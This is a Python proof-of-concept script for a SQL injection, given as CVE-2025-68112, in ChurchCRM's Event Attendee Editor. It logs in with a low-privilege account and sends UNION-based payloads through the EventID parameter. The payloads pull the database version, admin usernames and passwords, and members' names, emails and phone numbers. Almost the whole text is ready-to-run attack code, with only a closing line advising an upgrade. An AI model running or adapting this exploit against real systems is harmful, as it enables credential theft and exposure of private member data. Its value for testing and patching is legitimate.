# ChurchCRM CVE-2025-68112 SQL Injection PoC
# Target: ChurchCRM < 6.5.3 Event Attendee Editor
# CVSS 9.6 (Critical)
import requests
import sys
target = input("Enter target URL (e.g., http://churchcrm.local): ")
# Step 1: Login with low-privilege account
session = requests.Session()
login_url = f"{target}/Login.php"
login_data = {
"UserName": "attacker",
"Password": "password",
"Submit": "Login"
}
response = session.post(login_url, data=login_data)
print(f"[+] Login attempt: {response.status_code}")
# Step 2: Extract database version
vuln_url = f"{target}/EventAttendeeEditor.php"
payload_db_version = "1' UNION SELECT 1,@@version,3,4,5-- "
params = {"EventID": payload_db_version}
response = session.get(vuln_url, params=params)
print(f"[+] Database version extraction attempted")
print(f"[+] Response length: {len(response.text)}")
# Step 3: Extract admin credentials
payload_admin = "1' UNION SELECT 1,CONCAT(username,':',password),3,4,5 FROM user_tbl WHERE role='admin' LIMIT 1-- "
params = {"EventID": payload_admin}
response = session.get(vuln_url, params=params)
print(f"[+] Admin credential extraction attempted")
# Step 4: Extract all member data
payload_members = "1' UNION SELECT 1,CONCAT(firstname,'|',lastname,'|',email,'|',phone),3,4,5 FROM person_per-- "
params = {"EventID": payload_members}
response = session.get(vuln_url, params=params)
print(f"[+] Member data extraction attempted")
print(f"[!] Check response for leaked data")
print("\n[*] PoC completed. Check application logs and response content.")
print("[*] Recommendation: Upgrade to ChurchCRM 6.5.3 or later immediately.")